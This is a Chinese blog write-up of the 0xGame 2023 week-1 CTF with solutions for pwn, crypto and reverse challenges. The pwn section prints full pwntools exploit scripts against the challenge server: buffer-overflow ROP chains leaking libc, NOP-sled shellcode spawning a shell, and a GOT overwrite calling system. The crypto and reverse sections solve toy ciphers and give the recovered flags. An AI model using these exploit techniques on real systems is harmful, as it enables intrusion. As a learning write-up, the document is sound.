当前位置: 首页 > news >正文

[0xGame 2023] week1

整理一下,昨天该第二周了。今天应该9点结束提交,等我写完就到了。

PWN

找不到且不对劲的flag

第1题是个nc测试,但也不完全是,因为flag在隐含目录里

高端的syscall

程序使用了危险函数,并且没有canary阻止,gets会形成溢出。并且有后门,直接溢出到后门即可,但是这个题不清楚哪作错了,确一直打不通syscall,最后只能用才办公先泄露libc再system(bin/sh)

from pwn import *#p = process('./ret2syscall')
p = remote('8.130.35.16', 51004)
context(arch='amd64', log_level='debug')elf = ELF('./ret2syscall')
pop_rdi = 0x00000000004012e3 # pop rdi ; ret
pop_rsi = 0x00000000004012e1 # pop rsi ; pop r15 ; ret
set_rax = 0x401196 
syscall = 0x4011ae 
bss     = 0x404800 #gdb.attach(p, 'b*0x401273\nc')p.sendlineafter(b"Input: \n", flat(0,0,bss, pop_rdi, elf.got['puts'], 0x401258))libc_addr = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00'))  - 0x84420
bin_sh = libc_addr + 0x1b45bd
system = libc_addr + 0x52290
print(f"{ libc_addr = :x}")p.sendline(flat(0,0,0x404f00, pop_rdi, bin_sh, pop_rsi, 0,0, system))p.interactive()

 永远进不去的后门

int __cdecl main(int argc, const char **argv, const char **envp)
{char buf[8]; // [rsp+0h] [rbp-40h] BYREFint v5; // [rsp+8h] [rbp-38h]bufinit();puts("Welcome to 0xGame2023!");puts("Tell me sth interesting, and I will give you what you want.");read(0, buf, 0x100uLL);if ( v5 % 2023 == 2023 )system("/bin/sh");elseputs("Not that interesting. Bye.");return 0;
}

由于模2023后不可能等于2023,所以也就永远也不能直接进去,不过可以通过溢出进去。这里通过看汇编得到system的地址,再溢出即可

from pwn import *#p = process('./ret2text')
p = remote('8.130.35.16', 51002)
context(arch='amd64', log_level='debug')p.sendafter(b'.\n', b'\x00'*0x48 + p64(0x401298))
p.interactive()

随便乱搞的shellcode

int __cdecl main(int argc, const char **argv, const char **envp)
{unsigned int v3; // eaxchar *buf; // [rsp+8h] [rbp-8h]void (*bufa)(void); // [rsp+8h] [rbp-8h]bufinit(argc, argv, envp);buf = (char *)mmap((void *)0x20230000, 0x1000uLL, 7, 34, -1, 0LL);puts("Now show me your code:");read(0, buf, 0x100uLL);puts("Implementing security mechanism...");v3 = time(0LL);srand(v3);bufa = (void (*)(void))&buf[rand() % 256];close(1);puts("Done!");bufa();return 0;
}

先生成一个可写可执行的段20230000,然后读入shellcode并执行。

1,这里的rand生成一个长度值,会在这个值后执行。可以在前边补nop大概率命中成功

2,close(1)关闭了标准输出,这个可以在进入shell后执行 exec 1>&0将输出重定向到0

3,shellcode可以直接利用pwntools的shellcode.sh()生成

from pwn import *#p = process('./ret2text')
p = remote('8.130.35.16', 51003)
context(arch='amd64', log_level='debug')p.sendafter(b':', asm(shellcraft.sh()).rjust(0x100, b'\x90'))p.sendline(b'exec 1>&0')
p.sendline(b'cat flag')
p.interactive()

字符串和随机数

void __noreturn bot()
{int v0; // [rsp+Ch] [rbp-14h] BYREFunsigned int v1; // [rsp+10h] [rbp-10h]int v2; // [rsp+14h] [rbp-Ch]unsigned int v3; // [rsp+18h] [rbp-8h]char v4; // [rsp+1Fh] [rbp-1h]puts("Welcome to SOC2023!.");printf("Name: ");read(0, name, 0x20uLL);printf("Password: ");read(0, pass, 0x20uLL);if ( !strncmp(name, "admin", 5uLL) && !strcmp(pass, "1s_7h1s_p9ss_7tuIy_sAf3?") ){printf("Welcome back, %s!\n", name);sleep(1u);printf("New email from %s, title: %s", "0xGame2023 admin", "Env now up! Flag here!\n");printf("Wanna see it?");v4 = getchar();if ( v4 == 'y' || v4 == 89 ){sleep(1u);puts("Warning! Security alert!");printf("Input the security code to continue: ");v3 = rand() ^ 0xD0E0A0D0;v2 = rand() ^ 0xB0E0E0F;v1 = (v2 ^ v3) % 0xF4240;__isoc99_scanf("%d", &v0);if ( v1 == v0 )printf("Email content: %s\n", flag);elseperror("Challenge fail! Abort!\n");}}else{perror("Credential verification failed!\n");}puts("See you next time!");exit(0);
}

程序先读入用户名和密码,对式成功后需要猜一个随机数。

1,在bss段里,seed在name后,且与name相邻,并且name仅检查前5个字符,name输入满0x20时与seed相边,输出时可以泄露。

2,pass输入完后要输入\0截断

3,通过调用ctypes库,运行rand函数得到密文

from pwn import *#p = process('./ret2text')
p = remote('8.130.35.16', 51001)
context(arch='amd64', log_level='debug')from ctypes import *
clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")p.sendafter(b"Name: ", b'admin'.ljust(0x20))
p.sendafter(b"Password: ", b"1s_7h1s_p9ss_7tuIy_sAf3?\x00")p.recvuntil(b'admin'.ljust(0x20))
seed = u32(p.recv(4))clibc.srand(seed)
p.sendafter(b"Wanna see it?", b'Y')
v1 = (clibc.rand() ^ clibc.rand() ^ 0xD0E0A0D0 ^ 0xB0E0E0F) % 0xF4240p.sendlineafter(b"Input the security code to continue: ", str(v1).encode())print(p.recvline())
p.interactive()

我后门呢?

int __cdecl main(int argc, const char **argv, const char **envp)
{char buf[32]; // [rsp+0h] [rbp-20h] BYREFbufinit();puts("There won't be shell for you!");puts("Now give me your input:");read(0, buf, 0x100uLL);if ( strlen(buf) > 0x20 ){puts("No chance for you to overflow!");exit(1);}puts("See you next time!");return 0;
}

这个题应该算是pwn里的基础打法,前边都是教学。这里有溢出,先通过溢出获取libc 加载地址,然后再回到原程序,再执行 system(bin/sh)

from pwn import *#p = process('./ret2text')
p = remote('8.130.35.16', 51005)
context(arch='amd64', log_level='debug')elf = ELF('./ret2libc')
libc = ELF('./libc.so.6')
pop_rdi = 0x0000000000401333 # pop rdi ; ret
pop_rsi = 0x0000000000401331 # pop rsi ; pop r15 ; ret
bss = 0x404800p.sendafter(b"Now give me your input:", b'\x00'*0x20 + flat(bss, pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['main']))
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
print(f"{libc.address = :x}")bin_sh = next(libc.search(b'/bin/sh\x00'))p.sendafter(b"Now give me your input:", b'\x00'*0x20 + flat(bss, pop_rdi, bin_sh, pop_rsi, 0,0, libc.sym['system']))p.interactive()

got-it

程序有4项,add,edit,show和trick(退出时执行)

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{int v3; // [rsp+Ch] [rbp-4h] BYREFbufinit();while ( 1 ){menu();__isoc99_scanf("%d", &v3);if ( v3 == 8227 )break;if ( v3 <= 8227 ){if ( v3 == 4 ){puts("Thanks for using!");exit(0);}if ( v3 <= 4 ){switch ( v3 ){case 3:edit();break;case 1:add();break;case 2:show();break;}}}}trick();
}

add在第n个list偏移处写8字节

int add()
{int v1; // [rsp+Ch] [rbp-4h] BYREFprintf("Input student id: ");__isoc99_scanf("%d", &v1);if ( v1 > 15 )return puts("Invalid id!");printf("Input student name: ");return read(0, &list[8 * v1], 8uLL);
}

同理,edit和show分别是写和显示(edit==add),trick则执行exit(/bin/sh)显然是要改got[exit]为system

void __noreturn trick()
{exit((int)"/bin/sh");
}

漏洞点:v1是有符号数,但只检查<=15,所以指针可以向前溢出

list位置是0x4040a0,前边是got表,而且got表没有保护,可以通过前溢出修改和show got表。

 思路是,先通过前溢出show got表得到libc然后将got[exit]改为system然后在退出循环后执行exit[/bin/sh]

from pwn import *#p = process('./got-it')
p = remote('8.130.35.16', 51006)
context(arch='amd64', log_level='debug')elf = ELF('./got-it')
libc = ELF('./libc.so.6')def add(id, v):p.sendlineafter(b">> ", b'1')p.sendlineafter(b"Input student id: ", str(id).encode())p.sendafter(b'Input student name: ', v)def show(id):p.sendlineafter(b">> ", b'2')p.sendlineafter(b"Input student id: ", str(id).encode())add(0, b';/bin/sh')
show(-16)
p.recvuntil(b"Student name: ")
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - libc.sym['printf']#gdb.attach(p, "b*0x401477\nc")add(-11, p64(libc.sym['system']))p.sendlineafter(b">> ", b'8227')p.interactive()

CRYPTO

What's CBC?

from Crypto.Util.number import *
from secret import flag,keydef bytes_xor(a,b):a,b=bytes_to_long(a),bytes_to_long(b)return long_to_bytes(a^b)def pad(text):if len(text)%8:return textelse:pad = 8-(len(text)%8)text += pad.to_bytes(1,'big')*padreturn textdef Encrypt_CBC(text,iv,key):result = b''text = pad(text)block=[text[_*8:(_+1)*8] for _ in range(len(text)//8)]for i in block:tmp = bytes_xor(iv,i)iv = encrypt(tmp,key)result += ivreturn resultdef encrypt(text,key):result = b''for i in text:result += ((i^key)).to_bytes(1,'big')return resultiv = b'11111111'
enc = (Encrypt_CBC(flag,iv,key))
print(f'enc = {enc}')enc = b"\x8e\xc6\xf9\xdf\xd3\xdb\xc5\x8e8q\x10f>7.5\x81\xcc\xae\x8d\x82\x8f\x92\xd9o'D6h8.d\xd6\x9a\xfc\xdb\xd3\xd1\x97\x96Q\x1d{\\TV\x10\x11"

简单的CBC加密方法,先生成一个iv,然后每将加密都先用明文与iv异或后再作加密处理,并将上一块的密文作为下一块的iv继续加密下一块。这里的加密比较简单就是个1字节的异或。

这里先用第1块爆破一下key得到143再解密

enc = b"\x8e\xc6\xf9\xdf\xd3\xdb\xc5\x8e8q\x10f>7.5\x81\xcc\xae\x8d\x82\x8f\x92\xd9o'D6h8.d\xd6\x9a\xfc\xdb\xd3\xd1\x97\x96Q\x1d{\\TV\x10\x11"from pwn import xor v = xor(enc[:8], b'1')
for i in range(256):print(i, xor(v,bytes([i])))key = 143 
for i in range(8, len(enc),8):print(xor(enc[i-8:i], xor(bytes([key]),enc[i:i+8])))#0xGame{098f6bcd4621d373cade4e832627b4f6}

密码,觅码,先有*再密

from secret import flag #从中导入秘密的flag,这是我们要破解的信息
from Crypto.Util.number import bytes_to_long #从函数库导入一些编码函数
from base64 import b64encode#hint:也许下列函数库会对你有些帮助,但是要怎么用呢……
from base64 import b64decode
from gmpy2 import iroot
from Crypto.Util.number import long_to_bytesflag = flag.encode()
lent = len(flag)
flag = [flag[i*(lent//4):(i+1)*(lent//4)] for i in range(4)]#将flag切割成四份c1 = bytes_to_long(flag[0])
c2 = ''.join([str(bin(i))[2:] for i in flag[1]])
c3 = b64encode(flag[2])
c4 = flag[3].hex()
print(f'c1?= {pow(c1,5)}\nc2 = {c2}\nc3 = {c3}\nc4 = {c4}')'''
c1?= 2607076237872456265701394408859286660368327415582106508683648834772020887801353062171214554351749058553609022833985773083200356284531601339221590756213276590896143894954053902973407638214851164171968630602313844022016135428560081844499356672695981757804756591891049233334352061975924028218309004551
c2 = 10010000100001101110100010100111101000111110010010111010100001101110010010111111101000011110011010000001101011111110011010011000101011111110010110100110100000101110010010111101100101011110011110111100
c3 = b'lueggeeahO+8jOmCo+S5iOW8gOWni+aIkQ=='
c4 = 'e4bbace79a8443727970746fe68c91e68898e590a72121217d'
'''
#全是乱码,那咋办嘛?

python要调用很多库,这题也是对一些库函数的测试。

分4段进行加密,1是转整再5次幂,2是转二进制,3是base64,4是16进制,最后合起来是乱码bytes转str用utf-8(默认值)

'''
>>> e1 = long_to_bytes(iroot(c1,5)[0])
>>> e2 = bytes([int(c2[i:i+8],2) for i in range(0, len(c2),8)])
>>> e3 = b64decode(c3)
>>> e4 = bytes.fromhex(c4)
m = e1+e2+e3+e4
>>> m.decode()
'0xGame{ 恭喜你,已经理解了信息是如何编码的,那么开始我们的Crypto挑战吧!!!}'
'''

Take my bag!

一看吓我一跳,入门怎么会有这个。再看一下,这个包很小,没有取模(c显然比n小很多,flag没那么长,所以只用到序列的小的部分)。

from Crypto.Util.number import *
from secret import flagdef encrypt(m):m = str(bin(m))[2:][::-1]enc = 0for i in range(len(m)):enc += init[i] * int(m[i]) % nreturn encw = getPrime(64)
n = getPrime(512)
init = [w*pow(3, i) % n for i in range(512)]c = encrypt(bytes_to_long(flag))print(f'w={w}')
print(f'n={n}')
print(f'c={c}')'''
w=16221818045491479713
n=9702074289348763131102174377899883904548584105641045150269763589431293826913348632496775173099776917930517270317586740686008539085898910110442820776001061
c=4795969289572314590787467990865205548430190921556722879891721107719262822789483863742356553249935437004378475661668768893462652103739250038700528111
'''

先生成一个逐渐增加的序列,每一项都大于前面项的和。分解与每一位(0/1)相乘,取和。解密方法就是从大向小,够减就是1减掉,不够减就是0

init = [w*pow(3, i) % n for i in range(512)]m = ''
for v in init[::-1]:if c>=v:m+='1'c-=v else:m+='0'flag = ''
for i in range(0, len(m), 8):flag += chr(int(m[i:i+8],2))#0xGame{Welc0me_2_Crypt0_G@me!#$&%}

BabyRSA

RSA的入门题,n由小素数组成,可以很容易分解。

from Crypto.Util.number import *
from random import getrandbits
from secret import flagdef getN():N = 1for i in range(16):tmp = getPrime(32)N *= tmpreturn Nmask = getrandbits(256)
e = 65537
n = getN()
m = bytes_to_long(flag)
c = pow(m*mask,e,n)
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')
print(f'mask = {mask}')'''
n = 93099494899964317992000886585964221136368777219322402558083737546844067074234332564205970300159140111778084916162471993849233358306940868232157447540597
e = 65537
c = 54352122428332145724828674757308827564883974087400720449151348825082737474080849774814293027988784740602148317713402758353653028988960687525211635107801
mask = 54257528450885974256117108479579183871895740052660152544049844968621224899247
'''

这个题可以先分解n然后求phi,这里我直接用sage里有euler_phi求(因为n由小素数组成),虽然是入门题,怎么打都可以。但如果玩CTF走到密码这个方向sagemath是绕不过去的。

mm = pow(c, inverse_mod(e, euler_phi(n)), n)
m = int(mm) // mask
from Crypto.Util.number import long_to_bytes
long_to_bytes(int(m)//mask)
b'0xGame{Magic_M@th_Make_Crypt0}'

猜谜

from secret import flag,key
from Crypto.Util.number import *def dec(text):text = text.decode()code = 'AP3IXYxn4DmwqOlT0Q/JbKFecN8isvE6gWrto+yf7M5d2pjBuk1Hh9aCRZGUVzLS'unpad = 0tmp = ''if (text[-1] == '=') & (text[-2:] != '=='):text = text[:-1]unpad = -1if text[-2:] == '==':text = text[:-2]unpad = -2for i in text:tmp += str(bin(code.index(i)))[2:].zfill(3)tmp = tmp[:unpad]result = long_to_bytes(int(tmp,2))return resultdef enc(text):code = 'AP3IXYxn4DmwqOlT0Q/JbKFecN8isvE6gWrto+yf7M5d2pjBuk1Hh9aCRZGUVzLS'text = ''.join([str(bin(i))[2:].zfill(8) for i in text])length = len(text)pad = b''if length%3 == 1:text += '00'pad = b'=='elif length%3 == 2:text += '0'pad = b'='result = [code[int(text[3*i:3*(i+1)],2)] for i in range(0,len(text)//3)]return ''.join(result).encode()+paddef encrypt(flag):result = b''for i in range(len(flag)):result += (key[i%7]^(flag[i]+i)).to_bytes(1,'big')return resultc = enc(encrypt(flag))
print(f'c = {c}')

这里的flag先通过encrypt再作enc,encrypt里与key异或,由于flag头部已知,可以直接求出key.

enc远远看上去像变列的base64,但这里只用的2进制的3位查表,这是个变表的8进制。在这里意思不大,只需要再转回2进制再转bytes就行了。

code = 'AP3IXYxn4DmwqOlT0Q/JbKFecN8isvE6gWrto+yf7M5d2pjBuk1Hh9aCRZGUVzLS'
c = 'IPxYIYPYXPAn3nXX3IXA3YIAPn3xAYnYnPIIPAYYIA3nxxInXAYnIPAIxnXYYYIXIIPAXn3XYXIYAA3AXnx'
m = ''.join([bin(code.index(i))[2:].zfill(3) for i in c])
v = bytes([int(m[i:i+8],2) for i in range(0, len(m),8)])flag = b'0xGame{'
key = xor(v[:7], bytes([i+flag[i] for i in range(7)]))
v2 = xor(v, key)
m = bytes([v-i for i,v in enumerate(v2)])
#0xGame{Kn0wn_pl@intext_Att@ck!}

Vigenere

密文:0dGmqk{79ap4i0522g0a67m6i196he52357q60f} 古老而神秘的加密方式?

维吉尼亚密码,可以通过头来爆破key

REVERSE

 数字筑基

前两天有个网友说,大部分逆向都可以通过grep得到,确实这里的几题给了些误解。

代码金丹

 

网络元婴

 

虚拟化神

 

v3先被填充密文,然后与0xGame异或,最后与明文比较。这块grep一年也出不来的。

a = bytes.fromhex('0000000000004B1B7E070E01084B234C085707196A55585309557F030C541D4E')
a += p32(0x50585475) + p32(0x2234E52) + p32(0x553045B)
key = b'0xGame'
xor(a,key)
#0xGame{c9fcd83d-e27a-4569-8ba1-62555b6dc6ac}

 赛博天尊

int __cdecl main(int argc, const char **argv, const char **envp)
{__int64 v3; // rax__int64 v4; // rdxchar *v5; // rcx__int64 v7; // [rsp+40h] [rbp-148h]__int64 v8; // [rsp+48h] [rbp-140h]__int64 v9; // [rsp+50h] [rbp-138h]__int64 v10; // [rsp+58h] [rbp-130h]__int64 v11; // [rsp+60h] [rbp-128h]char Buffer[256]; // [rsp+70h] [rbp-118h] BYREFsub_140001020((char *)&Format);sub_140001080("%s");v3 = -1i64;do++v3;while ( Buffer[v3] );if ( v3 != 44|| Buffer[43] != 125|| (sub_1400010E0(Buffer, "0xGame{%16llx-%16llx-%16llx-%16llx-%16llx}"),7 * v9 + 5 * (v8 + v11) + 2 * (v10 + 4 * v7) != 0x12021DE669FC2i64)|| (v4 = v9 + v10 + 2 * v10 + 2 * (v11 + v7), v8 + 2 * v4 + v4 != 0x159BFFC17D045i64)|| v10 + v9 + v11 + 2 * v9 + 2 * (v9 + v11 + 2 * v9) + 2 * (v8 + 4 * v7) != 0xACE320D12501i64|| v8 + 2 * (v7 + v11 + v9 + 2 * v10) != 0x733FFEB3A4FAi64|| (v5 = (char *)&unk_1400032B8, v8 + 7 * v11 + 8 * (v9 + v10) + 5 * v7 != 0x1935EBA54EB28i64) ){v5 = (char *)&byte_1400032D8;}sub_140001020(v5);system("pause");return 0;
}

这里符号表都被删掉了,从函数的参数猜测函数功能。flag由5个数字组成,这些数符合下边的运算。

z3也是绕不过去了。

'''7 * v9 + 5 * (v8 + v11) + 2 * (v10 + 4 * v7) != 0x12021DE669FC2i64)|| (v4 = v9 + v10 + 2 * v10 + 2 * (v11 + v7), v8 + 2 * v4 + v4 != 0x159BFFC17D045i64)|| v10 + v9 + v11 + 2 * v9 + 2 * (v9 + v11 + 2 * v9) + 2 * (v8 + 4 * v7) != 0xACE320D12501i64|| v8 + 2 * (v7 + v11 + v9 + 2 * v10) != 0x733FFEB3A4FAi64|| (v5 = (char *)&unk_1400032B8, v8 + 7 * v11 + 8 * (v9 + v10) + 5 * v7 != 0x1935EBA54EB28i64) )
'''from z3 import *v7,v8,v9,v10,v11 = Ints('v7 v8 v9 v10 v11')s = Solver()
s.add(7 * v9 + 5 * (v8 + v11) + 2 * (v10 + 4 * v7) == 0x12021DE669FC2)
v4 = v9 + v10 + 2 * v10 + 2 * (v11 + v7)
s.add(v8 + 3*v4 == 0x159BFFC17D045)
s.add(v10 + v9 + v11 + 2 * v9 + 2 * (v9 + v11 + 2 * v9) + 2 * (v8 + 4 * v7) == 0xACE320D12501)
s.add(v8 + 2 * (v7 + v11 + v9 + 2 * v10) == 0x733FFEB3A4FA)
s.add(v8 + 7 * v11 + 8 * (v9 + v10) + 5 * v7 == 0x1935EBA54EB28)
s.check()d = s.model()v11 = 63356652901730
v9 = 16488
v7 = 2693650760
v8 = 14810
v10 = 41791'-'.join([hex(i)[2:] for i in [v7,v8,v9,v10,v11]])
#0xGame{a08dd948-39da-4068-a33f-399f5eca5562}

还是写的晚了,到这web和misc的题都看不到了。反正这块也不是本行,题都是一点点搜着网上的例子作。都是入门题网上都能搜着作法。

相关文章:

[0xGame 2023] week1

整理一下&#xff0c;昨天该第二周了。今天应该9点结束提交&#xff0c;等我写完就到了。 PWN 找不到且不对劲的flag 第1题是个nc测试&#xff0c;但也不完全是&#xff0c;因为flag在隐含目录里 高端的syscall 程序使用了危险函数&#xff0c;并且没有canary阻止&#xff0…...

Matlab矩阵——矩阵行列互换

问题&#xff1a;如何将 1*n 的矩阵转换为指定 M*N 的矩阵&#xff0c;或者将 M*N 的矩阵转换为 1*n 的矩阵&#xff1f; 处理方法&#xff1a;使用 reshape 函数进行矩阵的行列互换 分两种情况如下&#xff1a; 一、将 1*n 的矩阵转换为指定 M*N 的矩阵 假如有4个坐标值&a…...

OpenMesh 网格面片随机赋色

文章目录 一、简介二、实现代码三、实现效果一、简介 OpenMesh中的赋色方式与Easy3D很是类似,它统一有一个属性数组来进行管理,我们在进行赋色等操作时,必须要首先添加该属性才能进行使用,这里也进行记录一下(法向量等特征也是类似的操作)。 二、实现代码 #define _USE_…...

SpringSecurity源码学习一:过滤器执行原理

目录 1. web过滤器Filter1.1 filter核心类1.2 GenericFilterBean1.3 DelegatingFilterProxy1.3.1 原理1.3.2 DelegatingFilterProxy源码 2. FilterChainProxy源码学习2.1 源码2.1.1 doFilterInternal方法源码2.1.1.1 getFilters()方法源码2.1.1.2 VirtualFilterChain方法源码 3…...

8.2 JUC - 4.Semaphore

目录 一、是什么&#xff1f;二、简单使用三、semaphore应用四、Semaphore原理 一、是什么&#xff1f; Semaphore&#xff1a;信号量&#xff0c;用来限制能同时访问共享资源的线程上限 二、简单使用 public class TestSemaphore {public static void main(String[] args) …...

前端try和catch

为什么要使用try catch 使用try...catch语句是为了处理和管理可能会在程序运行过程中发生的异常或错误情况。以下是一些使用try...catch的主要原因&#xff1a; 错误处理&#xff1a;在开发过程中&#xff0c;无法避免地会出现各种错误&#xff0c;如网络请求失败、数据解析错误…...

Unity可视化Shader工具ASE介绍——2、ASE的Shader创建和输入输出

大家好&#xff0c;我是阿赵&#xff0c;这里继续介绍Unity可视化写Shader的ASE插件的用法。上一篇介绍了ASE的安装和编辑器界面分布&#xff0c;这一篇主要是通过一个简单的例子介绍shader的创建和输入输出。 一、ASE的Shader创建 这里先选择Surface类型的Shader&#xff0c;…...

目标检测算法改进系列之Backbone替换为Swin Transformer

Swin Transformer简介 《Swin Transformer: Hierarchical Vision Transformer using Shifted Windows》作为2021 ICCV最佳论文&#xff0c;屠榜了各大CV任务&#xff0c;性能优于DeiT、ViT和EfficientNet等主干网络&#xff0c;已经替代经典的CNN架构&#xff0c;成为了计算机…...

【技术干货】如何通过 DP 实现支持经典蓝牙的联网单品设备与 App 配对

经典蓝牙模块&#xff08;Classic Bluetooth&#xff09;主要用于呼叫和音频传输&#xff0c;所以经典蓝牙最主要的特点就是功耗大&#xff0c;传输数据量大。蓝牙耳机、蓝牙音箱等场景大多采用经典蓝牙&#xff0c;因为蓝牙是为传输声音而设计的&#xff0c;是短距离音频传输的…...

【Unity Build-In管线的SurfaceShader剖析_PBS光照函数】

Unity Build-In管线的SurfaceShader剖析 在Unity Build-In 管线&#xff08;Universal Render Pipeline&#xff09;新建一个Standard Surface Shader文件里的代码如下&#xff1a;选中"MyPBR.Shader"&#xff0c;在Inspector面板&#xff0c;打开"Show generat…...

thinkphp5实现ajax图片上传,压缩保存到服务器

<div class"warp"><input type"file" id"file" accept"image/*" onchange"upimg(this)" /></div> <img src"" /> <script>//上传图片方法function upimg(obj){var fileData obj.…...

王道考研计算机网络——传输层

一、传输层概述 复用&#xff1a;发送方不同的应用进程都可以使用同一个传输层的协议来传送数据 分用&#xff1a;接收方的传输层在去除报文段的首部之后能把数据交给正确的应用进程 熟知端口号就是知名端口号0-1023 客户端使用的端口号是动态变化的&#xff0c;不是唯一确定…...

08 集群参数配置(下)

Kafka Broker不需要太大的堆内存&#xff1f; Kafka Broker不需要太大的堆内存&#xff1f;应该把内存留给页缓存使用&#xff1f; kafka刷盘时宕机 kafka认为写入成功是指写入页缓存成功还是数据刷到磁盘成功算成功呢&#xff1f;还是上次刷盘宕机失败的问题&#xff0c;页…...

mac文件为什么不能拖进U盘?

对于Mac用户来说&#xff0c;可能会遭遇一些烦恼&#xff0c;比如在试图将文件从Mac电脑拖入U盘时&#xff0c;却发现文件无法成功传输。这无疑给用户带来了很大的不便。那么&#xff0c;mac文件为什么不能拖进U盘&#xff0c;看完这篇你就知道了。 一、U盘的读写权限问题 如果…...

RK3568的CAN驱动适配

目录 背景&#xff1a; 1.内核驱动模块配置 2.设备树配置 3.功能测试 4.bug修复 背景&#xff1a; 某个项目上使用RK3568的芯片&#xff0c;需要用到4路CAN接口进行通信&#xff0c;经过方案评审后决定使用RK3568自带的3路CAN外加一路spi转的CAN实现功能&#xff0c;在这个…...

Opengl之立方体贴图

简单来说,立方体贴图就是一个包含了6个2D纹理的纹理,每个2D纹理都组成了立方体的一个面:一个有纹理的立方体。你可能会奇怪,这样一个立方体有什么用途呢?为什么要把6张纹理合并到一张纹理中,而不是直接使用6个单独的纹理呢?立方体贴图有一个非常有用的特性,它可以通过一…...

EF Core报错:Error Number:-2146893019

appsettings.json中的连接字符串要添加上&#xff1a;TrustServerCertificatetrue; 所以这里的连接字符串为&#xff1a;Data SourceLAPTOP-61GDB2Q7\\SQLEXPRESS;Initial CatalogMvcMovie.Data;Persist Security InfoTrue;TrustServerCertificatetrue;User IDsa;Passwordroot…...

QT之可自由折叠和展开的布局

介绍和功能分析 主要是实现控件的折叠和展开&#xff0c;类似抽屉控件&#xff0c;目前Qt自带的控件QToolBox具有这个功能&#xff0c;但是一次只能展开一个&#xff0c;所以针对自己的需求可以自己写一个类似的功能&#xff0c;这里实现的方法比较多&#xff0c;其实原理也比较…...

javascript二维数组(7)数组指定元素求和

项目需求 对指定数据中的score求和 const data [ { name: Alice, age: 23, score: 85 }, { name: Bob, age: 30, score: 90 }, { name: Charlie, age: 35, score: 80 } ];1.封装函数 这个函数接受两个参数&#xff1a;一个对象数组和一个键名&#xff08;也就是你想要…...

网络安全——黑客自学(笔记)

想自学网络安全&#xff08;黑客技术&#xff09;首先你得了解什么是网络安全&#xff01;什么是黑客&#xff01;&#xff01;&#xff01; 网络安全可以基于攻击和防御视角来分类&#xff0c;我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术&#xff0c;而“蓝队…...

浏览器访问 AWS ECS 上部署的 Docker 容器(监听 80 端口)

✅ 一、ECS 服务配置 Dockerfile 确保监听 80 端口 EXPOSE 80 CMD ["nginx", "-g", "daemon off;"]或 EXPOSE 80 CMD ["python3", "-m", "http.server", "80"]任务定义&#xff08;Task Definition&…...

浅谈 React Hooks

React Hooks 是 React 16.8 引入的一组 API&#xff0c;用于在函数组件中使用 state 和其他 React 特性&#xff08;例如生命周期方法、context 等&#xff09;。Hooks 通过简洁的函数接口&#xff0c;解决了状态与 UI 的高度解耦&#xff0c;通过函数式编程范式实现更灵活 Rea…...

Chapter03-Authentication vulnerabilities

文章目录 1. 身份验证简介1.1 What is authentication1.2 difference between authentication and authorization1.3 身份验证机制失效的原因1.4 身份验证机制失效的影响 2. 基于登录功能的漏洞2.1 密码爆破2.2 用户名枚举2.3 有缺陷的暴力破解防护2.3.1 如果用户登录尝试失败次…...

MPNet:旋转机械轻量化故障诊断模型详解python代码复现

目录 一、问题背景与挑战 二、MPNet核心架构 2.1 多分支特征融合模块(MBFM) 2.2 残差注意力金字塔模块(RAPM) 2.2.1 空间金字塔注意力(SPA) 2.2.2 金字塔残差块(PRBlock) 2.3 分类器设计 三、关键技术突破 3.1 多尺度特征融合 3.2 轻量化设计策略 3.3 抗噪声…...

Vue记事本应用实现教程

文章目录 1. 项目介绍2. 开发环境准备3. 设计应用界面4. 创建Vue实例和数据模型5. 实现记事本功能5.1 添加新记事项5.2 删除记事项5.3 清空所有记事 6. 添加样式7. 功能扩展&#xff1a;显示创建时间8. 功能扩展&#xff1a;记事项搜索9. 完整代码10. Vue知识点解析10.1 数据绑…...

【根据当天日期输出明天的日期(需对闰年做判定)。】2022-5-15

缘由根据当天日期输出明天的日期(需对闰年做判定)。日期类型结构体如下&#xff1a; struct data{ int year; int month; int day;};-编程语言-CSDN问答 struct mdata{ int year; int month; int day; }mdata; int 天数(int year, int month) {switch (month){case 1: case 3:…...

MFC内存泄露

1、泄露代码示例 void X::SetApplicationBtn() {CMFCRibbonApplicationButton* pBtn GetApplicationButton();// 获取 Ribbon Bar 指针// 创建自定义按钮CCustomRibbonAppButton* pCustomButton new CCustomRibbonAppButton();pCustomButton->SetImage(IDB_BITMAP_Jdp26)…...

可靠性+灵活性:电力载波技术在楼宇自控中的核心价值

可靠性灵活性&#xff1a;电力载波技术在楼宇自控中的核心价值 在智能楼宇的自动化控制中&#xff0c;电力载波技术&#xff08;PLC&#xff09;凭借其独特的优势&#xff0c;正成为构建高效、稳定、灵活系统的核心解决方案。它利用现有电力线路传输数据&#xff0c;无需额外布…...

从深圳崛起的“机器之眼”:赴港乐动机器人的万亿赛道赶考路

进入2025年以来&#xff0c;尽管围绕人形机器人、具身智能等机器人赛道的质疑声不断&#xff0c;但全球市场热度依然高涨&#xff0c;入局者持续增加。 以国内市场为例&#xff0c;天眼查专业版数据显示&#xff0c;截至5月底&#xff0c;我国现存在业、存续状态的机器人相关企…...

STM32F4基本定时器使用和原理详解

STM32F4基本定时器使用和原理详解 前言如何确定定时器挂载在哪条时钟线上配置及使用方法参数配置PrescalerCounter ModeCounter Periodauto-reload preloadTrigger Event Selection 中断配置生成的代码及使用方法初始化代码基本定时器触发DCA或者ADC的代码讲解中断代码定时启动…...